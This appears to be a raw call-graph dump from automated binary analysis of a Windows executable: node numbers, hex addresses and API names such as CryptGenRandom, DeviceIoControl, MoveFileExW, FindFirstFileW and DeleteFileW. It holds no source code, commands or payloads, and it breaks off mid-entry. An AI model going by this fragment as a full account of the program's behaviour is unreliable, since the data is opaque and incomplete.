16974 ad794e 16969->16974 16976 ad78ce GetDiskFreeSpaceExW 16969->16976 17040 ad7a0a GetDriveTypeW SetErrorMode SetErrorMode 16969->17040 17049 ad768d 16969->17049 17057 ad7ae7 SetErrorMode SetErrorMode 16969->17057 16972 ad79ab 16972->16958 16977 ad84c7 118 API calls 16972->16977 16973 ad797f 16975 ad84c7 118 API calls 16973->16975 16974->16958 16974->16972 16974->16973 16978 ad798e 16975->16978 16976->16969 16977->16978 16979 ad8889 7 API calls 16978->16979 16979->16958 16981 ad758d CryptGenRandom 16980->16981 16982 ad7562 GetLastError 16980->16982 16983 ad75a0 GetLastError 16981->16983 16989 ad75cb 16981->16989 16984 ad756e 16982->16984 16983->16984 16988 ad854a 118 API calls 16984->16988 16985 ad8b7e 112 API calls 16985->16989 16986 ad765e CryptReleaseContext 16987 ad7668 16986->16987 16990 ad7675 16987->16990 16992 ad8e6f 3 API calls 16987->16992 16995 ad7641 16988->16995 16989->16984 16989->16985 16994 ad8abb 6 API calls 16989->16994 16989->16995 16996 ad8e6f 3 API calls 16989->16996 16991 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 16990->16991 16993 ad73df 16991->16993 16992->16990 16993->16918 16997 ad746a UuidCreate 16993->16997 16994->16989 16995->16986 16995->16987 16996->16989 16998 ad74aa 16997->16998 16999 ad74bb UuidToStringW 16998->16999 17000 ad74b4 16998->17000 17001 ad74cd 16999->17001 17003 ad854a 118 API calls 17000->17003 17001->17000 17002 ad74e6 17001->17002 17005 ad8889 7 API calls 17002->17005 17004 ad74e2 17003->17004 17006 ad74fb RpcStringFreeW 17004->17006 17007 ad7505 17004->17007 17005->17004 17006->17007 17008 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 17007->17008 17009 ad7514 17008->17009 17009->16918 17252 ad8e38 17010->17252 17012 ad99ca 17012->16927 17013 ad9998 17013->17012 17014 ad8abb 6 API calls 17013->17014 17014->17012 17016 ad87eb 4 API calls 17015->17016 17017 ad7cfc 17016->17017 17029 ad7d02 17017->17029 17074 ad805a 17017->17074 17019 ad854a 118 API calls 17021 ad7d0d 17019->17021 17022 ad7e8d 17021->17022 17025 ad8e6f 3 API calls 17021->17025 17026 ad8e6f 3 API calls 17022->17026 17027 ad7780 17022->17027 17023 ad7d5c 17028 ad7d6c GetLastError 17023->17028 17037 ad7d97 17023->17037 17024 ad7d34 GetLastError 17024->17029 17025->17022 17026->17027 17027->16943 17027->16944 17028->17029 17029->17019 17031 ad7e4b 17034 ad854a 118 API calls 17031->17034 17032 ad7e52 17032->17021 17035 ad8e6f 3 API calls 17032->17035 17033 ad84c7 118 API calls 17033->17037 17034->17032 17035->17021 17037->17031 17037->17032 17037->17033 17038 ad8abb 6 API calls 17037->17038 17039 ad8e6f 3 API calls 17037->17039 17108 ad7ee0 17037->17108 17142 ad8341 17037->17142 17038->17037 17039->17037 17041 ad7a71 CreateFileW 17040->17041 17042 ad7a61 17040->17042 17041->17042 17044 ad7a9d DeviceIoControl 17041->17044 17043 ad7acb SetErrorMode 17042->17043 17047 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 17043->17047 17045 ad7aba 17044->17045 17046 ad7ac0 CloseHandle 17044->17046 17045->17043 17045->17046 17046->17043 17048 ad7ade 17047->17048 17048->16969 17050 aede40 _memset 17049->17050 17051 ad76d7 QueryDosDeviceW 17050->17051 17052 ad76f9 17051->17052 17055 ad76f5 17051->17055 17208 ae9522 17052->17208 17054 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 17056 ad7743 17054->17056 17055->17054 17056->16969 17062 ad7b0f 17057->17062 17058 ad746a 126 API calls 17058->17062 17059 ad7bec 17061 ad854a 118 API calls 17059->17061 17060 ad8b7e 112 API calls 17060->17062 17073 ad7bc1 17061->17073 17062->17058 17062->17059 17062->17060 17063 ad9926 10 API calls 17062->17063 17065 ad7b5b CreateDirectoryW 17062->17065 17071 ad8e6f GetProcessHeap HeapFree GetLastError 17062->17071 17072 ad7c09 17062->17072 17062->17073 17063->17062 17064 ad7bd1 17067 ad7bde SetErrorMode 17064->17067 17069 ad8e6f 3 API calls 17064->17069 17065->17062 17068 ad7b6d RemoveDirectoryW 17065->17068 17066 ad8e6f 3 API calls 17066->17064 17067->16969 17068->17062 17070 ad7b78 MoveFileExW 17068->17070 17069->17067 17070->17062 17071->17062 17072->17067 17073->17064 17073->17066 17075 ad807a 17074->17075 17077 ad81f6 17074->17077 17078 ad87eb 4 API calls 17075->17078 17076 ad823c 17080 ad7d19 17076->17080 17082 ad8e6f 3 API calls 17076->17082 17077->17076 17079 ad8e6f 3 API calls 17077->17079 17081 ad808b 17078->17081 17079->17076 17080->17023 17080->17024 17080->17029 17083 ad809b GetSystemDirectoryW 17081->17083 17100 ad8091 17081->17100 17082->17080 17084 ad80a9 GetLastError 17083->17084 17085 ad80d4 17083->17085 17084->17100 17087 ad80fa 17085->17087 17088 ad87eb 4 API calls 17085->17088 17086 ad854a 118 API calls 17086->17077 17151 ad8b7e 17087->17151 17090 ad80e2 17088->17090 17092 ad80e8 GetSystemDirectoryW 17090->17092 17090->17100 17092->17084 17094 ad80f6 17092->17094 17093 ad811e LoadLibraryW 17095 ad812d GetLastError 17093->17095 17096 ad8158 GetProcAddress 17093->17096 17094->17084 17094->17087 17095->17100 17097 ad81f8 GetLastError 17096->17097 17098 ad8173 GetProcAddress 17096->17098 17097->17100 17098->17097 17099 ad8184 GetProcAddress 17098->17099 17099->17097 17101 ad8195 GetProcAddress 17099->17101 17100->17086 17101->17097 17102 ad81a6 GetProcAddress 17101->17102 17102->17097 17103 ad81b7 GetProcAddress 17102->17103 17103->17097 17104 ad81c8 GetProcAddress 17103->17104 17104->17097 17105 ad81d9 GetProcAddress 17104->17105 17105->17097 17106 ad81ea 17105->17106 17107 ad84c7 118 API calls 17106->17107 17107->17077 17109 ad87eb 4 API calls 17108->17109 17110 ad7f03 17109->17110 17111 ad7f1c 17110->17111 17112 ad7f0a 17110->17112 17171 ad8254 17111->17171 17114 ad854a 118 API calls 17112->17114 17116 ad7f15 17114->17116 17118 ad804e 17116->17118 17121 ad8e6f 3 API calls 17116->17121 17117 ad84c7 118 API calls 17120 ad7f49 17117->17120 17118->17037 17119 ad854a 118 API calls 17134 ad7f68 17119->17134 17185 ae96d7 17120->17185 17121->17118 17124 ad8024 17124->17116 17129 ad802a GetProcessHeap HeapFree 17124->17129 17125 ad8011 GetProcessHeap HeapFree 17125->17124 17128 ad801f 17125->17128 17126 ad7f5d 17130 ad84c7 118 API calls 17126->17130 17127 ad7f6f 17131 ad8254 122 API calls 17127->17131 17132 ad9a29 GetLastError 17128->17132 17129->17116 17133 ad8038 17129->17133 17130->17134 17135 ad7f80 17131->17135 17132->17124 17136 ad9a29 GetLastError 17133->17136 17134->17124 17134->17125 17137 ad7f34 17135->17137 17140 ad7f96 17135->17140 17136->17116 17137->17119 17138 ad84c7 118 API calls 17138->17140 17139 ad7fcd CharUpperW 17141 ad8abb 6 API calls 17139->17141 17140->17134 17140->17138 17140->17139 17141->17140 17143 ad87eb 4 API calls 17142->17143 17146 ad8362 17143->17146 17144 ad8394 17145 ad854a 118 API calls 17144->17145 17147 ad83bf 17144->17147 17145->17147 17146->17144 17148 ad87eb 4 API calls 17146->17148 17149 ad840b 17147->17149 17150 ad8e6f 3 API calls 17147->17150 17148->17144 17149->17037 17150->17149 17154 ad8b99 17151->17154 17155 ad8bda 17154->17155 17156 ad8bb4 17154->17156 17158 ad87eb 4 API calls 17155->17158 17167 ad9a43 GetProcessHeap HeapSize 17156->17167 17166 ad8be6 17158->17166 17159 ad8bba 17160 ad8bcb lstrlenW 17159->17160 17161 ad810b 17159->17161 17160->17155 17160->17166 17161->17093 17161->17100 17163 ad8c7e 17163->17161 17165 ad8e6f 3 API calls 17163->17165 17164 ad87eb 4 API calls 17164->17166 17165->17161 17166->17161 17166->17163 17166->17164 17168 af30da 17166->17168 17167->17159 17169 af3004 __vsnwprintf_l 102 API calls 17168->17169 17170 af30f2 17169->17170 17170->17166 17172 ad827a 17171->17172 17173 ad82a5 GetProcessHeap HeapAlloc 17172->17173 17175 ad8293 17172->17175 17174 ad82be 17173->17174 17181 ad82d5 17173->17181 17176 ad854a 118 API calls 17174->17176 17177 ad854a 118 API calls 17175->17177 17178 ad7f2d 17176->17178 17177->17178 17178->17117 17178->17137 17179 ad830b 17179->17178 17180 ad831a GetProcessHeap HeapFree 17179->17180 17180->17178 17182 ad832d 17180->17182 17181->17179 17183 ad854a 118 API calls 17181->17183 17184 ad9a29 GetLastError 17182->17184 17183->17179 17184->17178 17186 ae974f 17185->17186 17187 ae96e6 17185->17187 17193 ae95cf 17186->17193 17189 aeb059 __mtinitlocknum 66 API calls 17187->17189 17192 ad7f56 17187->17192 17190 ae96f2 17189->17190 17191 aeaffd __woutput_s_l 11 API calls 17190->17191 17191->17192 17192->17126 17192->17127 17194 ae92e9 _LocaleUpdate::_LocaleUpdate 76 API calls 17193->17194 17195 ae95e3 17194->17195 17196 ae95ea 17195->17196 17197 ae9610 17195->17197 17198 aeb059 __mtinitlocknum 66 API calls 17196->17198 17199 ae9618 17197->17199 17205 ae963f 17197->17205 17200 ae95ef 17198->17200 17201 aeb059 __mtinitlocknum 66 API calls 17199->17201 17202 aeaffd __woutput_s_l 11 API calls 17200->17202 17203 ae961d 17201->17203 17207 ae95fa 17202->17207 17204 aeaffd __woutput_s_l 11 API calls 17203->17204 17204->17207 17206 aecee1 78 API calls __towlower_l 17205->17206 17205->17207 17206->17205 17207->17192 17211 ae94ea 17208->17211 17212 ae92e9 _LocaleUpdate::_LocaleUpdate 76 API calls 17211->17212 17213 ae94fd 17212->17213 17216 ae9375 17213->17216 17217 ae93a5 _wcsnlen 17216->17217 17218 ae9391 17216->17218 17217->17218 17221 ae93bc 17217->17221 17219 aeb059 __mtinitlocknum 66 API calls 17218->17219 17220 ae9396 17219->17220 17222 aeaffd __woutput_s_l 11 API calls 17220->17222 17226 ae93a0 17221->17226 17249 aece4e 17221->17249 17222->17226 17224 ae9402 17227 ae940e 17224->17227 17228 ae9425 17224->17228 17225 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 17230 ae94e3 17225->17230 17226->17225 17230->17055 17250 aece5a _wcsnlen 17249->17250 17251 aece65 LCMapStringW 17249->17251 17250->17251 17251->17224 17253 ad8e45 17252->17253 17254 ad8e4d 17252->17254 17256 ad9a43 GetProcessHeap HeapSize 17253->17256 17254->17013 17256->17254 17258 ad678d 17257->17258 17259 ad635a 17257->17259 17260 ad689b 17258->17260 17261 ad67a5 GetModuleHandleW 17258->17261 17259->16456 17259->16471 17260->17259 17266 ad68ae DeleteCriticalSection 17260->17266 17268 ad68bf 17260->17268 17329 ad9166 17261->17329 17264 ad67e5 GetLastError 17274 ad67f2 17264->17274 17265 ad6812 CreateThread 17269 ad682b GetLastError 17265->17269 17270 ad6862 WaitForSingleObject SendMessageA SendMessageA 17265->17270 17335 ad6a1b DialogBoxParamA 17265->17335 17266->17268 17267 ad68ce 17272 ad68dd CloseHandle 17267->17272 17273 ad68e0 17267->17273 17268->17267 17271 ad8e6f 3 API calls 17268->17271 17269->17274 17270->17260 17271->17267 17272->17273 17273->17259 17275 ad68e9 CloseHandle 17273->17275 17276 ad854a 118 API calls 17274->17276 17275->17259 17277 ad685e 17276->17277 17277->17260 17279 ad69ba 17278->17279 17280 ad69c0 17278->17280 17279->16475 17281 ad69c8 SendMessageA 17280->17281 17282 ad69db 17280->17282 17281->17282 17282->16475 17284 ada23a 17283->17284 17285 ada265 17283->17285 17287 ad8889 7 API calls 17284->17287 17286 ad99d2 6 API calls 17285->17286 17293 ada259 17286->17293 17288 ada247 17287->17288 17289 ada283 17288->17289 17291 ad997e 6 API calls 17288->17291 17290 ada3ce 17289->17290 17292 ad8e6f 3 API calls 17289->17292 17290->16475 17291->17293 17292->17290 17293->17289 17294 ad8abb 6 API calls 17293->17294 17296 ada2c2 17293->17296 17295 ada2b0 17294->17295 17295->17289 17297 ad997e 6 API calls 17295->17297 17296->17289 17298 ad8889 7 API calls 17296->17298 17300 ad8abb 6 API calls 17296->17300 17301 ada3ab 17296->17301 17302 ada37f 17296->17302 17305 ada337 lstrlenW 17296->17305 17339 adac67 17296->17339 17297->17296 17298->17296 17299 ad8e6f 3 API calls 17299->17289 17300->17296 17301->17289 17301->17299 17351 adade5 17302->17351 17305->17296 17307 ada012 _memset __write_nolock 17306->17307 17308 ada08f 17307->17308 17309 ad64d8 135 API calls 17307->17309 17310 ada1a4 17308->17310 17311 ad9b6a 2 API calls 17308->17311 17309->17308 17313 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 17310->17313 17312 ada0b5 17311->17312 17312->17310 17315 ad64d8 135 API calls 17312->17315 17320 ada0da 17312->17320 17314 ada21b 17313->17314 17314->16472 17315->17320 17316 ada110 ReadFile 17317 ada198 GetLastError 17316->17317 17316->17320 17317->17310 17318 ad64d8 135 API calls 17318->17320 17319 ada1bb 18240 af4850 17319->18240 17320->17310 17320->17316 17320->17318 17320->17319 17323 ad64d8 135 API calls 17323->17310 17325 ad69f0 EnterCriticalSection 17324->17325 17326 ad6a12 17324->17326 17327 ad6a0a LeaveCriticalSection 17325->17327 17328 ad6a05 17325->17328 17326->16471 17327->17326 17328->17327 17330 ad9173 17329->17330 17331 ad87eb 4 API calls 17330->17331 17332 ad67c1 InitializeCriticalSection CreateEventA 17330->17332 17333 ad9180 LoadStringW 17330->17333 17331->17330 17332->17264 17332->17265 17333->17330 17334 ad91a4 GetLastError 17333->17334 17334->17332 17336 ad6a3e 17335->17336 17338 ad6a49 17335->17338 17337 ad854a 118 API calls 17336->17337 17337->17338 17340 adaca4 17339->17340 17341 adaca7 17340->17341 17387 ad88ed 17340->17387 17344 adadcc 17341->17344 17346 ad8e6f 3 API calls 17341->17346 17347 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 17344->17347 17345 adacf6 #20 17345->17341 17348 adad54 17345->17348 17346->17344 17349 adaddb 17347->17349 17399 adbc8e 17348->17399 17349->17296 17352 adadf4 __write_nolock 17351->17352 17353 ad84c7 118 API calls 17352->17353 17354 adae1e 17353->17354 17355 adae47 17354->17355 18143 ad64d8 17354->18143 17357 ad9711 7 API calls 17355->17357 17359 adb045 17355->17359 17358 adae63 17357->17358 17360 adaeb3 17358->17360 17362 ad91d3 15 API calls 17358->17362 17361 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 17359->17361 17360->17359 17363 ad8e6f 3 API calls 17360->17363 17364 adb053 17361->17364 17365 adae79 17362->17365 17363->17359 17364->17296 17365->17360 17366 ad9ca3 11 API calls 17365->17366 17367 adae9c 17366->17367 17388 ad891e WideCharToMultiByte 17387->17388 17389 ad8904 17387->17389 17391 ad8998 GetLastError 17388->17391 17392 ad8936 17388->17392 17431 ad9a43 GetProcessHeap HeapSize 17389->17431 17394 ad8912 17391->17394 17393 ad8984 WideCharToMultiByte 17392->17393 17392->17394 17396 ad8954 GetProcessHeap HeapReAlloc 17392->17396 17397 ad8966 GetProcessHeap HeapAlloc 17392->17397 17393->17391 17393->17394 17394->17341 17394->17345 17395 ad890a 17395->17388 17395->17394 17398 ad8975 17396->17398 17397->17398 17398->17393 17398->17394 17401 adbca2 17399->17401 17400 adbec3 17400->17341 17401->17400 17432 af35e6 17401->17432 17431->17395 18144 ad64ea 18143->18144 18164 ad64f9 18143->18164 18145 ad6544 18144->18145 18146 ad64f1 18144->18146 18147 ad6553 18144->18147 18156 ad6505 18144->18156 18157 ad657b 18144->18157 18144->18164 18149 ad65f9 128 API calls 18145->18149 18170 ad65f9 18146->18170 18151 ad69b0 SendMessageA 18147->18151 18148 ad69e3 2 API calls 18154 ad6574 18148->18154 18152 ad654c 18149->18152 18155 ad6558 SetFileAttributesW 18151->18155 18159 ad69b0 SendMessageA 18152->18159 18153 ad65c6 18153->17355 18154->18153 18163 ad854a 118 API calls 18154->18163 18186 ad66ae 18155->18186 18161 ad69b0 SendMessageA 18156->18161 18156->18164 18158 ad69b0 SendMessageA 18157->18158 18157->18164 18158->18157 18162 ad6551 18159->18162 18161->18156 18162->18164 18163->18153 18164->18148 18164->18154 18171 ad660e GetModuleHandleW 18170->18171 18172 ad6621 18170->18172 18171->18172 18173 ad9166 6 API calls 18172->18173 18187 ad66ca 18186->18187 18188 ad6743 18186->18188 18188->18164 18241 af4882 _memset 18240->18241 18242 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 18241->18242 18243 ada1cb 18242->18243 18243->17310 18243->17323 18245 ad9926 10 API calls 18244->18245 18246 ad9679 18245->18246 18247 ad9698 18246->18247 18248 ad967f SetCurrentDirectoryW 18246->18248 18250 ad5e5f 18247->18250 18251 ad8e6f 3 API calls 18247->18251 18248->18247 18249 ad968c GetLastError 18248->18249 18249->18247 18250->16500 18250->16514 18251->18250 18272 ad9926 10 API calls 18271->18272 18273 ad9c39 18272->18273 18274 ad9c42 DeleteFileW 18273->18274 18281 ad9c76 18273->18281 18276 ad9c4d GetLastError 18274->18276 18274->18281 18275 ad9c95 18275->16552 18278 ad9c5a 18276->18278 18276->18281 18277 ad8e6f 3 API calls 18277->18275 18279 ad9c5f MoveFileExW 18278->18279 18278->18281 18280 ad9c6e GetLastError 18279->18280 18279->18281 18280->18281 18281->18275 18281->18277 18283 ad9926 10 API calls 18282->18283 18284 ad92e9 18283->18284 18285 ad92f8 GetFileAttributesW 18284->18285 18313 ad952f 18284->18313 18288 ad9319 GetLastError 18285->18288 18289 ad9325 18285->18289 18286 ad955c 18290 ad9570 18286->18290 18293 ad8e6f 3 API calls 18286->18293 18287 ad9550 FindClose 18287->18286 18288->18289 18291 ad9349 SetFileAttributesW 18289->18291 18292 ad9376 18289->18292 18295 ad958e 18289->18295 18289->18313 18294 ad9574 RemoveDirectoryW 18290->18294 18290->18295 18291->18292 18297 ad935a GetLastError 18291->18297 18292->18294 18302 ad8889 7 API calls 18292->18302 18293->18290 18294->18295 18298 ad9584 GetLastError 18294->18298 18296 ad95ab 18295->18296 18299 ad8e6f 3 API calls 18295->18299 18300 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 18296->18300 18301 ad9366 18297->18301 18298->18295 18299->18296 18303 ad95ba 18300->18303 18301->18292 18301->18295 18304 ad9399 18302->18304 18303->16550 18304->18286 18305 ad8abb 6 API calls 18304->18305 18306 ad93b5 18305->18306 18306->18286 18307 ad93bf FindFirstFileW 18306->18307 18308 ad93dd GetLastError 18307->18308 18309 ad93e9 18307->18309 18308->18309 18309->18286 18310 ad9509 FindNextFileW 18309->18310 18311 ad8889 7 API calls 18309->18311 18309->18313 18314 ad8abb 6 API calls 18309->18314 18319 ad94af 18309->18319 18320 ad92bb 15 API calls 18309->18320 18310->18309 18312 ad9524 GetLastError 18310->18312 18311->18309 18312->18313 18313->18286 18313->18287 18314->18309 18315 ad94b8 SetFileAttributesW 18316 ad94e1 DeleteFileW 18315->18316 18317 ad94c9 GetLastError 18315->18317 18316->18310 18318 ad94f1 GetLastError 18316->18318 18317->18319 18318->18309 18318->18319 18319->18309 18319->18313 18319->18315 18319->18316 18320->18309 18341 af3923 18321->18341 18323 ad8518 18324 ad848d 18323->18324 18326 ad849b 18324->18326 18325 ad84c0 18328 ad870c 18325->18328 18326->18325 18327 ad870c 117 API calls 18326->18327 18327->18325 18578 ad8c9a 18328->18578 18331 ad8735 lstrlenA 18333 ad874b WriteFile 18331->18333 18334 ad8770 18331->18334 18332 ad879a 18335 ad8535 18332->18335 18339 ad8e6f 3 API calls 18332->18339 18336 ad87be GetLastError 18333->18336 18337 ad8768 18333->18337 18334->18332 18338 ad8775 WriteFile 18334->18338 18335->16567 18336->18332 18337->18333 18337->18334 18338->18332 18340 ad878d GetLastError 18338->18340 18339->18335 18340->18332 18342 af392e 18341->18342 18344 af3943 18341->18344 18343 aeb059 __mtinitlocknum 66 API calls 18342->18343 18346 af3933 18343->18346 18345 af3951 18344->18345 18347 af395e 18344->18347 18348 aeb059 __mtinitlocknum 66 API calls 18345->18348 18349 aeaffd __woutput_s_l 11 API calls 18346->18349 18357 af3854 18347->18357 18350 af3956 18348->18350 18352 af393e 18349->18352 18354 aeaffd __woutput_s_l 11 API calls 18350->18354 18352->18323 18355 af3994 18354->18355 18355->18323 18356 aeb059 __mtinitlocknum 66 API calls 18356->18350 18358 af388a 18357->18358 18359 af3872 18357->18359 18361 af3899 18358->18361 18367 af38ae 18358->18367 18360 aeb059 __mtinitlocknum 66 API calls 18359->18360 18362 af3877 18360->18362 18363 aeb059 __mtinitlocknum 66 API calls 18361->18363 18364 aeaffd __woutput_s_l 11 API calls 18362->18364 18365 af389e 18363->18365 18368 af3882 18364->18368 18366 aeaffd __woutput_s_l 11 API calls 18365->18366 18366->18368 18367->18368 18370 aeb0db 18367->18370 18368->18355 18368->18356 18391 aee8bc 18370->18391 18372 aeb0eb 18373 aeb10d 18372->18373 18374 aeb0f6 18372->18374 18376 aeb11e __stbuf 18373->18376 18377 aeb111 18373->18377 18375 aeb059 __mtinitlocknum 66 API calls 18374->18375 18379 aeb0fb 18375->18379 18376->18379 18387 aeb174 18376->18387 18390 aeb17f 18376->18390 18398 aee861 18376->18398 18378 aeb059 __mtinitlocknum 66 API calls 18377->18378 18378->18379 18379->18368 18380 aeb20e 18382 aee73a __write 97 API calls 18380->18382 18381 aeb18e 18383 aeb1a5 18381->18383 18386 aeb1c2 18381->18386 18382->18379 18410 aee73a 18383->18410 18386->18379 18435 aedf49 18386->18435 18387->18390 18407 aee813 18387->18407 18390->18380 18390->18381 18392 aee8dd 18391->18392 18393 aee8c8 18391->18393 18392->18372 18394 aeb059 __mtinitlocknum 66 API calls 18393->18394 18395 aee8cd 18394->18395 18396 aeaffd __woutput_s_l 11 API calls 18395->18396 18397 aee8d8 18396->18397 18397->18372 18399 aee86e 18398->18399 18400 aee87d 18398->18400 18401 aeb059 __mtinitlocknum 66 API calls 18399->18401 18403 aee89b 18400->18403 18404 aeb059 __mtinitlocknum 66 API calls 18400->18404 18402 aee873 18401->18402 18402->18387 18403->18387 18405 aee88e 18404->18405 18406 aeaffd __woutput_s_l 11 API calls 18405->18406 18406->18402 18408 aedbda __malloc_crt 66 API calls 18407->18408 18409 aee828 18408->18409 18409->18390 18411 aee746 __fcloseall 18410->18411 18412 aee74e 18411->18412 18413 aee769 18411->18413 18460 aeb071 18412->18460 18415 aee775 18413->18415 18418 aee7af 18413->18418 18417 aeb071 __lseeki64 66 API calls 18415->18417 18420 aee77a 18417->18420 18463 af1a49 18418->18463 18419 aeb059 __mtinitlocknum 66 API calls 18428 aee75b __fcloseall 18419->18428 18422 aeb059 __mtinitlocknum 66 API calls 18420->18422 18424 aee782 18422->18424 18423 aee7b5 18425 aee7d7 18423->18425 18426 aee7c3 18423->18426 18427 aeaffd __woutput_s_l 11 API calls 18424->18427 18430 aeb059 __mtinitlocknum 66 API calls 18425->18430 18473 aee038 18426->18473 18427->18428 18428->18379 18432 aee7dc 18430->18432 18431 aee7cf 18532 aee806 18431->18532 18433 aeb071 __lseeki64 66 API calls 18432->18433 18433->18431 18436 aedf55 __fcloseall 18435->18436 18437 aedf66 18436->18437 18438 aedf82 18436->18438 18439 aeb071 __lseeki64 66 API calls 18437->18439 18440 aedf8e 18438->18440 18443 aedfc8 18438->18443 18441 aedf6b 18439->18441 18442 aeb071 __lseeki64 66 API calls 18440->18442 18444 aeb059 __mtinitlocknum 66 API calls 18441->18444 18445 aedf93 18442->18445 18446 af1a49 ___lock_fhandle 68 API calls 18443->18446 18453 aedf73 __fcloseall 18444->18453 18447 aeb059 __mtinitlocknum 66 API calls 18445->18447 18448 aedfce 18446->18448 18449 aedf9b 18447->18449 18450 aedfdc 18448->18450 18451 aedff8 18448->18451 18452 aeaffd __woutput_s_l 11 API calls 18449->18452 18454 aedebf __lseeki64_nolock 68 API calls 18450->18454 18455 aeb059 __mtinitlocknum 66 API calls 18451->18455 18452->18453 18453->18379 18456 aedfed 18454->18456 18457 aedffd 18455->18457 18574 aee029 18456->18574 18458 aeb071 __lseeki64 66 API calls 18457->18458 18458->18456 18461 aea6d5 __getptd_noexit 66 API calls 18460->18461 18462 aeb076 18461->18462 18462->18419 18465 af1a55 __fcloseall 18463->18465 18464 af1aaf 18467 af1ab4 EnterCriticalSection 18464->18467 18468 af1ad1 __fcloseall 18464->18468 18465->18464 18466 aed1bd __lock 66 API calls 18465->18466 18469 af1a81 18466->18469 18467->18468 18468->18423 18470 af1a8a InitializeCriticalSectionAndSpinCount 18469->18470 18471 af1a9d 18469->18471 18470->18471 18535 af1adf 18471->18535 18474 aee047 __write_nolock 18473->18474 18475 aee09c 18474->18475 18476 aee07d 18474->18476 18506 aee072 18474->18506 18480 aee0f8 18475->18480 18481 aee0db 18475->18481 18478 aeb071 __lseeki64 66 API calls 18476->18478 18477 ae91d5 __ehhandler$??2@YAPAXIABUnothrow_t@std@@@Z 5 API calls 18479 aee733 18477->18479 18482 aee082 18478->18482 18479->18431 18484 aee10b 18480->18484 18539 aedebf 18480->18539 18483 aeb071 __lseeki64 66 API calls 18481->18483 18485 aeb059 __mtinitlocknum 66 API calls 18482->18485 18487 aee0e0 18483->18487 18486 aee861 __stbuf 66 API calls 18484->18486 18489 aee089 18485->18489 18491 aee114 18486->18491 18492 aeb059 __mtinitlocknum 66 API calls 18487->18492 18490 aeaffd __woutput_s_l 11 API calls 18489->18490 18490->18506 18493 aee3b6 18491->18493 18498 aea753 __getptd 66 API calls 18491->18498 18494 aee0e8 18492->18494 18496 aee666 WriteFile 18493->18496 18497 aee3c5 18493->18497 18495 aeaffd __woutput_s_l 11 API calls 18494->18495 18495->18506 18501 aee699 GetLastError 18496->18501 18502 aee398 18496->18502 18499 aee480 18497->18499 18507 aee3d8 18497->18507 18500 aee12f GetConsoleMode 18498->18500 18512 aee48d 18499->18512 18521 aee55a 18499->18521 18500->18493 18504 aee158 18500->18504 18501->18502 18503 aee6e4 18502->18503 18502->18506 18510 aee6b7 18502->18510 18503->18506 18509 aeb059 __mtinitlocknum 66 API calls 18503->18509 18504->18493 18505 aee168 GetConsoleCP 18504->18505 18505->18502 18529 aee18b 18505->18529 18506->18477 18507->18502 18507->18503 18508 aee422 WriteFile 18507->18508 18508->18501 18508->18507 18513 aee707 18509->18513 18515 aee6d6 18510->18515 18516 aee6c2 18510->18516 18511 aee4fc WriteFile 18511->18501 18511->18512 18512->18502 18512->18503 18512->18511 18519 aeb071 __lseeki64 66 API calls 18513->18519 18514 aee5cb WideCharToMultiByte 18514->18501 18517 aee602 WriteFile 18514->18517 18552 aeb089 18515->18552 18520 aeb059 __mtinitlocknum 66 API calls 18516->18520 18517->18521 18522 aee639 GetLastError 18517->18522 18519->18506 18523 aee6c7 18520->18523 18521->18502 18521->18503 18521->18514 18521->18517 18522->18521 18526 aee237 WideCharToMultiByte 18526->18502 18528 aee268 WriteFile 18526->18528 18527 aef7d3 78 API calls __fassign 18527->18529 18528->18501 18528->18529 18529->18501 18529->18502 18529->18526 18529->18527 18530 af1b19 WriteConsoleW CreateFileW __write_nolock 18529->18530 18531 aee2bc WriteFile 18529->18531 18549 aef82f 18529->18549 18530->18529 18531->18501 18531->18529 18573 af1aed LeaveCriticalSection 18532->18573 18534 aee80c 18534->18428 18538 aed0da LeaveCriticalSection 18535->18538 18537 af1ae6 18537->18464 18538->18537 18557 af19db 18539->18557 18541 aededd 18542 aedef6 SetFilePointer 18541->18542 18543 aedee5 18541->18543 18544 aedf0e GetLastError 18542->18544 18547 aedeea 18542->18547 18545 aeb059 __mtinitlocknum 66 API calls 18543->18545 18546 aedf18 18544->18546 18544->18547 18545->18547 18548 aeb089 __dosmaperr 66 API calls 18546->18548 18547->18484 18548->18547 18570 aef7f2 18549->18570 18553 aeb071 __lseeki64 66 API calls 18552->18553 18558 af19e8 18557->18558 18560 af1a00 18557->18560 18559 aeb071 __lseeki64 66 API calls 18558->18559 18561 af19ed 18559->18561 18562 aeb071 __lseeki64 66 API calls 18560->18562 18564 af1a3f 18560->18564 18565 aeb059 __mtinitlocknum 66 API calls 18561->18565 18563 af1a11 18562->18563 18566 aeb059 __mtinitlocknum 66 API calls 18563->18566 18564->18541 18567 af19f5 18565->18567 18568 af1a19 18566->18568 18567->18541 18569 aeaffd __woutput_s_l 11 API calls 18568->18569 18569->18567 18571 ae92e9 _LocaleUpdate::_LocaleUpdate 76 API calls 18570->18571 18573->18534 18577 af1aed LeaveCriticalSection 18574->18577 18576 aee031 18576->18453 18577->18576 18579 ad8cac 18578->18579 18580 ad8cb2 18578->18580 18595 ad9a43 GetProcessHeap HeapSize 18579->18595 18582 ad8ce9 18580->18582 18596 ad9a43 GetProcessHeap HeapSize 18580->18596 18584 ad8cee 18582->18584 18592 ad8d08 18582->18592 18597 ad8836 18584->18597 18585 ad8ccc 18587 ad8cde lstrlenA 18585->18587 18588 ad872e 18585->18588 18587->18582 18588->18331 18588->18332 18590 ad8d94 18590->18588 18594 ad8e6f 3 API calls 18590->18594 18591 ad8836 4 API calls 18593 ad8cfe 18591->18593 18592->18590 18592->18593 18602 af3517 18592->18602 18593->18588 18593->18590 18593->18591 18593->18592 18594->18588 18595->18580 18596->18585 18598 ad8847 18597->18598 18601 ad8870 18597->18601 18599 ad8861 GetProcessHeap HeapAlloc 18598->18599 18600 ad8850 GetProcessHeap HeapReAlloc 18598->18600 18599->18601 18600->18601 18601->18593 18605 af3466 18602->18605 18606 af3497 18605->18606 18607 